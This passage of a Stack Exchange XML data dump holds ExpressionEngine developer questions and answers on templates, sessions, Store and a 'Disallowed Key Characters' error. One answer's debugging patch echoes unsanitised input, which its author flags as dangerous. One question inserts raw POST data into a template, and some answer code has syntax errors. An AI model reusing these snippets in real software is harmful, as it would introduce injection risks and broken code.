URLs&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ index.php?/$1 [L]&#xA;&#xA;#RewriteCond %{HTTP_HOST} ^(blog|news).domain.com$ [NC]&#xA;#RewriteRule ^$ %1/ [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5046" LastEditorUserId="1100" LastEditDate="2015-05-11T16:30:15.587" LastActivityDate="2015-05-11T16:30:15.587" Title="Disallowed Key Characters in CP - only one user" Tags="|control-panel|error|zoo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31383" PostTypeId="1" CreationDate="2015-05-08T12:48:00.353" Score="1" ViewCount="66" Body="&lt;p&gt;In my article template I'm doing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;article_lang&quot; parse_vars=&quot;yes&quot; parse_depth=&quot;2&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;    {exp:switchee variable=&quot;{transcribe:language_abbreviation}&quot; parse=&quot;inward&quot;}&#xA;       {case value=&quot;en&quot;}/{/case}&#xA;       {case default=&quot;Yes&quot;}/{transcribe:language_abbreviation}/{/case}&#xA;    {/exp:switchee}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because the previous developer didn't set up Transcribe properly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in my template layout I'm doing &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;article__meta&quot;&amp;gt;&#xA;    &amp;lt;span class=&quot;article__category&quot;&amp;gt;{exp:stash:get_list name='article_category'}&amp;lt;a href=&quot;{exp:stash:get name='article_lang'}{cat_url}&quot;&amp;gt;{cat_name}{/exp:stash:get_list}&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;    / &amp;lt;span class=&quot;article__author&quot;&amp;gt;{exp:stash:get_list name=&quot;authors&quot; backspace=&quot;7&quot;}&amp;lt;a href=&quot;{exp:stash:get name='article_lang'}{author_url}&quot;&amp;gt;{author_name}&amp;lt;/a&amp;gt; &amp;amp;amp; {/exp:stash:get_list}&amp;lt;/span&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now this works great for the Spanish and French articles, but for some reason, when we're on English, the &lt;code&gt;{exp:stash:get name='article_lang'}&lt;/code&gt; variable is spitting out a date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I call that variable outside of the get_list, it returns the variable I'd expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2015-05-08T12:48:00.353" Title="using Stash to output a language variable with Transcribe" Tags="|stash|variable|transcribe|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31384" PostTypeId="1" CreationDate="2015-05-08T12:48:52.313" Score="1" ViewCount="33" Body="&lt;p&gt;Trying to use UPDATER to update my EE from 2.7 to 2.9&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Test settings and everything passes but during the update I get the error that it cannot create the back up directory.FTP: Failed to create the dir:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updater is the current 3.3.0 version&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2015-05-08T17:07:17.397" Title="updater FTP: Failed to create the dir:" Tags="|devdemon|devdemon-updater|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31385" PostTypeId="1" AcceptedAnswerId="31394" CreationDate="2015-05-08T13:14:24.837" Score="0" ViewCount="37" Body="&lt;p&gt;With the last release of Store, the ability to edit an order within the control panel was added. Is there a hook which can be used to do something once an order has been updated?&lt;/p&gt;&#xA;" OwnerUserId="1634" LastActivityDate="2015-05-08T17:05:26.060" Title="Store 2.5 - updating orders within the control panel" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31386" PostTypeId="2" ParentId="31373" CreationDate="2015-05-08T14:06:14.777" Score="1" Body="&lt;p&gt;Is the theme being over written?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#cp-theme&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#cp-theme&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config['cp_theme'] = 'default';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nerdery directions tell you how to set this.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-05-08T14:06:14.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31387" PostTypeId="1" AcceptedAnswerId="31392" CreationDate="2015-05-08T15:28:53.247" Score="0" ViewCount="42" Body="&lt;p&gt;My client would like to be able to search products by entering it's SKU, however this doesn't seem to be supported in the search in &lt;code&gt;Content &amp;gt; Edit&lt;/code&gt; or &lt;code&gt;Store &amp;gt; Inventory&lt;/code&gt;. Is there any way to search for a SKU in the control panel? If not how would I go about adding this functionality?&lt;/p&gt;&#xA;" OwnerUserId="961" LastActivityDate="2015-05-08T16:28:34.850" Title="Expresso Store: Search by SKU in control panel" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31388" PostTypeId="1" AcceptedAnswerId="31391" CreationDate="2015-05-08T15:49:03.460" Score="0" ViewCount="16" Body="&lt;p&gt;is there a way to show a random product using Expresso Store?  The product tag seems to require entry_id=&quot;{entry_id}&quot; &lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2015-05-09T16:35:18.733" Title="Expresso Store - Random products" Tags="|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31389" PostTypeId="1" AcceptedAnswerId="31390" CreationDate="2015-05-08T15:55:06.007" Score="0" ViewCount="241" Body="&lt;p&gt;I have tried something along the lines of&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$email = ee()-&amp;gt;....&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and with a hope to include/require the page at the top of an external php page and then echo the value of $email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't appear to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to gain access to the ee session class outside of the cms but still based on user logged in status. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could i achieve this?&lt;/p&gt;&#xA;" OwnerUserId="3668" LastActivityDate="2015-05-08T16:23:31.453" Title="how can i get ee global vars outside of ee?" Tags="|sessions|global-variables|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31390" PostTypeId="2" ParentId="31389" CreationDate="2015-05-08T16:15:12.070" Score="2" Body="&lt;p&gt;Well the short answer is you &lt;strike&gt;can't&lt;/strike&gt;&lt;em&gt;shouldn't&lt;/em&gt; easily, it raises all sorts of questions regarding the security model! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there may be alternatives. You could for instance &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;write an extension&lt;/a&gt; for EE that exposes an ACTion (as Derek said), or more simply just write a template, and then get your information through AJAX/curl from your other external page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for instance suppose you had a template living at &lt;code&gt;API/getUserEmail&lt;/code&gt;, on that template you could do : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    //is the AJAX request from the known source?&#xA;    //here you can add code to ensure its just YOUR external site getting to this api&#xA;    if ( $legitRequest ) { &#xA;        //is the user logged in&#xA;        $memberId = ee()-&amp;gt;session-&amp;gt;userdata('member_id');&#xA;        if ( $memberId != 0 ) {&#xA;            return json_encode(array('success' =&amp;gt; ee()-&amp;gt;session-&amp;gt;userdata('email');));&#xA;        } else {&#xA;            return json_encode(array('error' =&amp;gt; 'no user logged in'));&#xA;        }&#xA;    } else {&#xA;        return json_encode(array('error' =&amp;gt; 'permission denied'));&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, to get the ajax return with curl there's an example in the answer to this question : &lt;a href=&quot;https://stackoverflow.com/questions/3928228/php-and-curl-get-ajax-data&quot;&gt;https://stackoverflow.com/questions/3928228/php-and-curl-get-ajax-data&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another alternative is to query the database directly, though you can't check if the user is logged in &lt;em&gt;easily&lt;/em&gt; via a striaght database call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to go down the &quot;instansiate the entire application&quot; route check out the code in index.php (on the EE site) and try to replicate this bootstrap in your code, this could instansiate the EE object if you get it right, but that is a complicated affair!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2015-05-08T16:23:31.453" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31391" PostTypeId="2" ParentId="31388" CreationDate="2015-05-08T16:27:16.160" Score="1" Body="&lt;p&gt;You would just need to wrap the product tag in a channel entries tag with &lt;code&gt;orderby=&quot;random&quot;&lt;/code&gt; and whatever limit you wanted. Something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; orderby=&quot;random&quot; limit=&quot;5&quot;}&#xA; {exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;  {title}&#xA;  You other fields &#xA; {/exp:store:product}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-05-09T16:35:18.733" LastActivityDate="2015-05-09T16:35:18.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31392" PostTypeId="2" ParentId="31387" CreationDate="2015-05-08T16:28:34.850" Score="1" Body="&lt;p&gt;You could add this functionality with &lt;a href=&quot;https://devot-ee.com/add-ons/zenbu&quot; rel=&quot;nofollow&quot;&gt;Zenbu&lt;/a&gt;, this module extends the Content &gt; Edit display so you can add the columns you wish for the channels you wish, and ultimately sort and filter on them too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Used it before, will do the job and you'll get your 30 day money back guarantee if its not quite right for you.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-08T16:28:34.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31393" PostTypeId="2" ParentId="31380" CreationDate="2015-05-08T16:36:13.813" Score="0" Body="&lt;p&gt;This is the default functionality of the remove items tag, it's an all or nothing kind of tag. You should look at adding a quantity drop down or input field and use the Update Cart button if you are wanting to change quantities of items in your cart. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-05-08T16:36:13.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31394" PostTypeId="2" ParentId="31385" CreationDate="2015-05-08T17:05:26.060" Score="1" Body="&lt;p&gt;Depend on what are you trying to do. A safe hook is on the store_order_recalculate_end hook, since the $order object is passed and you can check the status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you update the order in the CP the last thing that happens is that hook.&lt;/p&gt;&#xA;" OwnerUserId="1139" LastActivityDate="2015-05-08T17:05:26.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31395" PostTypeId="2" ParentId="31384" CreationDate="2015-05-08T17:07:17.397" Score="2" Body="&lt;p&gt;Check that the user that PHp executes under (could be www-data, could be the home user for the site) has execute and write permissions in the directory above the one the FTP folder needs to be created in. Also it's worth checking who the owner of the directories is compared to the executing user.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-08T17:07:17.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31396" PostTypeId="2" ParentId="31382" CreationDate="2015-05-08T17:20:10.617" Score="3" Body="&lt;p&gt;From this post over on EllisLabs : &lt;a href=&quot;https://ellislab.com/forums/viewthread/81867/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/forums/viewthread/81867/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is happening when that message displays (as you will probably know) is that there is something that is setting cookie/post/session variable with a key that contains a character in the dis-allowed list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure there's no dodgy characters in the users username or something like that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you could do is apply the patch in the post above, copied below, this might tell you the string (or key) that is causing the offence at least, and help you narrow it down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/system/codeignitor/system/core/input.php, around line 728 (on EE2.10.1) look for the below if statement and replace with the below : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! preg_match(&quot;/^[a-z0-9:_\/-]+$/i&quot;, $str))&#xA;{&#xA;    set_status_header(503);&#xA;    exit('Disallowed Key Characters. The offending key is : '.$str);&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DO NOT leave this code in, it doesn't clean the offending string just echoes it so it's potentually dangerous, only use for debugging&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process of ellimination tells us it is something specific to the user, ie the user data or something in the users cookies, you tried different browsers so it's not likely to be that, perhaps you've managed to get a disallowed character into the session ID? Have you cleared the exp_sessions table and checkthe the user in quesiton (in exp_members) for anything that looks 'funky'?? I seem to recall triggering this erro when I tried to overwrite a users hashed password once...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see this post : &lt;a href=&quot;https://ellislab.com/forums/viewthread/84889/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/forums/viewthread/84889/&lt;/a&gt; seems there can be some come-uppance with 3rd party cookies, especially if they have the dollar symbol in their key...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit : Update following feedback below&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, the string reported points to a GET parameter, from what you've posted it looks like he's calling a URL with an EE path (&lt;code&gt;/cp/content_publish/entry_form&lt;/code&gt;) and get parameters &lt;code&gt;?channel_id&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we put it all together with a fake domain seems he's calling &lt;code&gt;your.comain.com/cp/content_publish/entry_form?channel_id&lt;/code&gt;. Now, if we assume your using friendly URL's (&lt;strong&gt;&lt;em&gt;please share your &lt;code&gt;.htaccess&lt;/code&gt;&lt;/em&gt;&lt;/strong&gt;) the .htaccess will add &lt;code&gt;/index.php/&lt;/code&gt; to your url making &lt;code&gt;your.domain.com/index.php/cp/content_publish/entry_form?channel_id&lt;/code&gt;, doesn't strike me as too strange however we know that what he reported is JUST the key, so we know that the parameter boundry (&lt;code&gt;?&lt;/code&gt;) is getting applied &lt;em&gt;before&lt;/em&gt; the path, after the domain, something like this : &lt;code&gt;your.domain.com/index.php?/cp/content_publish/entry_form?channel_id=Summin&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above string makes sense in that the URL is &lt;code&gt;your.domain.com/index.php&lt;/code&gt; then the parameter boundry, then the next part is the first 'key' (i.e. &lt;code&gt;/cp/content_publish/entry_form?channel_id&lt;/code&gt;) and the value following the = is the value, the next parameter being split by an ampersand &lt;code&gt;&amp;amp;&lt;/code&gt;. I &lt;strong&gt;suspect&lt;/strong&gt; that the link being created is malformed for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we need to see is 1. The URL being produced and 2. The URL actaully being processed. For one you'll have to ask your user to copy the link location on the link or log in as him and get it yourself (check his browser too). 2 can be taken care of with this modification in the same place as above : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! preg_match(&quot;/^[a-z0-9:_\/-]+$/i&quot;, $str))&#xA;{&#xA;    $port = $s['SERVER_PORT'];&#xA;    $host = empty($_SERVER['HTTP_X_FORWARDED_HOST']) : $_SERVER['http_host'] ? $_SERVER['HTTP_X_FORWARDED_HOST'] ;&#xA;    $reqUrl = &quot;http&quot;;&#xA;    if ( !empty($_SERVER['HTTPS']) &amp;amp;&amp;amp; $_SERVER['HTTPS'] == 'on' ){&#xA;        //ssl&#xA;        $reqUrl .= 's://' . $host . ($port=='443' ? '' : ':' . $port);&#xA;    } else {&#xA;        $reqUrl .= '://' . $host . ($port=='80' ? '' : ':' . $port);&#xA;    }&#xA;    $reqUrl .= $_SERVER['REQUEST_URI'];&#xA;&#xA;    set_status_header(503);&#xA;    exit('Disallowed Key Characters. The offending key is : '.$str&#xA;    . &quot;&amp;lt;br /&amp;gt;The URL requested was : &amp;lt;pre&amp;gt;&quot; . $reqUrl . &quot;&amp;lt;/pre&amp;gt;&quot; );&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, don't leave this in place, pop it in, get a test result and take it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2 : Following reveal of Generated URL and &lt;code&gt;.htaccess&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like the link you're creating in the CP is not valid. Modern browsers &lt;strong&gt;&lt;em&gt;may&lt;/em&gt;&lt;/strong&gt; interfere/correct this, some browsers may not. Notice the 2 question marks in your URL?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good news is (thanks for the extra info btw :) ) I can test this URL in my sandbox! Looks like we're missing a number of things from the URL...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly is the CP Session ID, I realise you could be using the 'non' Session ID type of session type (&lt;code&gt;Admin &amp;gt; Security &amp;amp; Privacy &amp;gt; Security and Sessions &amp;gt; Control Panel Session Type&lt;/code&gt;) however if you're default you'll need the S parameter...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also related to this is if your user is deliberately blocking cookies, if you have Cookies Only as your CP session type and the user's blocking cookies then we've an issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, thanks again for sharing the .htaccess, but is this the .htaccess from inside the system directory?? if you look at your URL you'll see the path is &lt;code&gt;/system/admin.php&lt;/code&gt;, ergo we're browsing a sub directory. &lt;strike&gt;you should have admin.php in the site root?&lt;/strike&gt;&lt;em&gt;May not be relivent against the EE version, please ignore&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, can you share the &lt;em&gt;code&lt;/em&gt; that creates your link please??? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, regardless of all the above questions, here's my stab at creating your link, this should deal with the session variables and your 'double parameter marker' issue...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Create link to content_publish controller, entry_form method, channel_id of 1&#xA;$urlToEntry = BASE . AMP . &#xA;              'C=content_publish' . AMP . &#xA;              'M=entry_form' . AMP&#xA;              'channel_id=1';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try this as a 'drop in' replacement and see if you get further with it? Let us know if this changes the generated link and if it works as the other link does (it should!) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the &lt;code&gt;BASE&lt;/code&gt; definition in the EE CP is the whole base URL for the CP, including the session id if applicable and the cp indicator, the rest is the MVC style of call in the CP. Tested on EE 2.7.1 &amp;amp; 2.10.1.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-05-11T15:22:37.217" LastActivityDate="2015-05-11T15:22:37.217" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="31397" PostTypeId="1" AcceptedAnswerId="31400" CreationDate="2015-05-08T17:20:12.010" Score="0" ViewCount="74" Body="&lt;p&gt;I am new to V2 of Store and wondering how to make a product tax free?  I understand you may have to use categories not but I do not see anything in the docs or in the tax settings that shows how this is done.  Any help?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2016-01-12T01:25:51.003" Title="Expresso Store No tax option" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31398" PostTypeId="2" ParentId="31382" CreationDate="2015-05-08T17:20:39.253" Score="3" Body="&lt;p&gt;Found &lt;a href=&quot;https://ellislab.com/forums/viewthread/235259/#1069295&quot; rel=&quot;nofollow&quot;&gt;some suggestions&lt;/a&gt; in the EllisLab Forums that might help.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In the system/codeigniter/system/core/input.php file:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Find the function _clean_input_keys($str)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Change:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;exit(‘Disallowed Key Characters.’);&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;to:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;exit(‘Disallowed Key Characters.’. $str);&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This will tell you what characters are causing you problems. Then you&#xA;  can follow the suggestions above to add them to the regex string. In&#xA;  my case, I just changed the input’s name.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Once you know what the offending character is you may choose to allow it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;system/codeigniter/system/core/input.php&lt;/code&gt; file see the the &lt;code&gt;_clean_input_keys function&lt;/code&gt; to add the offending character.  This may have security implications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other suggestion from the same source is to add a cookie prefix.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$config['cookie_prefix'] = 'im_';&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="210" LastActivityDate="2015-05-08T17:20:39.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31399" PostTypeId="2" ParentId="23668" CreationDate="2015-05-08T17:25:42.257" Score="0" Body="&lt;p&gt;Yea without the session id in the URL it would not keep the user logged in, have you tried the standard &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/path.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{path}&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/path.html#route-variables&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{route}&lt;/code&gt;&lt;/a&gt; tags? these should maintain the Session ID in the url it puts out.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-08T17:25:42.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31400" PostTypeId="2" ParentId="31397" CreationDate="2015-05-08T17:31:05.197" Score="1" Body="&lt;p&gt;When you create or edit a tax rate in the &lt;strong&gt;Store &amp;rarr; Settings&lt;/strong&gt; area, there is a &lt;strong&gt;Match Categories&lt;/strong&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you either select all of your categories, minus the &lt;em&gt;Tax-free&lt;/em&gt; category you've created; or, you create a single &lt;em&gt;Taxable&lt;/em&gt; category, and use that as the way to assign tax to each product (the latter is amore flexible and future-proof option).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-05-08T17:31:05.197" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31401" PostTypeId="1" CreationDate="2015-05-06T18:44:54.507" Score="0" ViewCount="154" Body="&lt;p&gt;A very quick question, I'm trying to make a comment form but I get an error on submit that the Comment field is required, even though its filled in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No Idea why as I checked other questions etc code seems fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      &amp;lt;div class=&quot;comment-form&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt; Leave a comment &amp;lt;/h3&amp;gt;&#xA;            {exp:comment:form channel=&quot;blog_post&quot;}&#xA;                &amp;lt;ol&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;label&amp;gt;YOUR NAME&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;{name}&quot; /&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;label&amp;gt;YOUR EMAIL&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;email&quot; name=&quot;email&quot; value=&quot;{email}&quot; /&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;label&amp;gt;YOUR WEBSITE&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;url&quot; value=&quot;{url}&quot; /&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;label&amp;gt;YOUR COMMENT&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;textarea name=&quot;comment&quot;&amp;gt;{comment}&amp;lt;/textarea&amp;gt;&#xA;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li class=&quot;submit&quot;&amp;gt;&amp;lt;button type=&quot;submit&quot;&amp;gt;POST COMMENT&amp;lt;/button&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;/ol&amp;gt;&#xA;            {/exp:comment:form}&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can you spot an error? Or maybe direct me the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&lt;/p&gt;&#xA;" OwnerUserId="6370" OwnerDisplayName="Tautvydas Slegaitis" LastActivityDate="2016-06-19T08:00:19.347" Title="&quot;Comment Field Is Required Error&quot; when Submitting Comment Form ExpressionEngine" Tags="|forms|comments|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31402" PostTypeId="2" ParentId="31366" CreationDate="2015-05-08T18:41:28.220" Score="0" Body="&lt;p&gt;Here ya go, try this if the url_title will &lt;strong&gt;contain&lt;/strong&gt; -ru:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_titles a&#xA;SET a.status = &quot;closed&quot;&#xA;WHERE a.url_title LIKE '%-ru%';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but use this if it &lt;strong&gt;ends&lt;/strong&gt; in -ru:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_titles a&#xA;SET a.status = &quot;closed&quot;&#xA;WHERE a.url_title LIKE '%-ru';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-05-08T19:41:14.400" LastActivityDate="2015-05-08T19:41:14.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31403" PostTypeId="1" AcceptedAnswerId="31411" CreationDate="2015-05-08T22:23:03.253" Score="0" ViewCount="240" Body="&lt;p&gt;Using this form to post to itself is not working as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But why?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;form method='POST' action='gen_req'&amp;gt;&#xA;      &amp;lt;input id='input' name='uid' placeholder='uid' /&amp;gt;&#xA;      &amp;lt;button class='btn'&amp;gt;Go&amp;lt;/button&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&#xA;    {exp:member:custom_profile_data member_id=&quot;&amp;lt;? echo $_POST['uid']; ?&amp;gt;&quot;}&#xA;      &amp;lt;p&amp;gt;{email}&amp;lt;/p&amp;gt;&#xA;    {/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATED&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have corrected to add the XID line and use the ee() for the post. But still not returning any data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what i have updated to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method='POST' action='test2'&amp;gt;&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt;  &#xA;  &amp;lt;input id='input' name='uid' placeholder='uid' /&amp;gt;&#xA;  &amp;lt;button class='btn'&amp;gt;Go&amp;lt;/button&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&#xA;{exp:member:custom_profile_data member_id=&quot;&amp;lt;? echo ee()-&amp;gt;input-&amp;gt;post('uid', TRUE); ?&amp;gt;&quot;}&#xA;  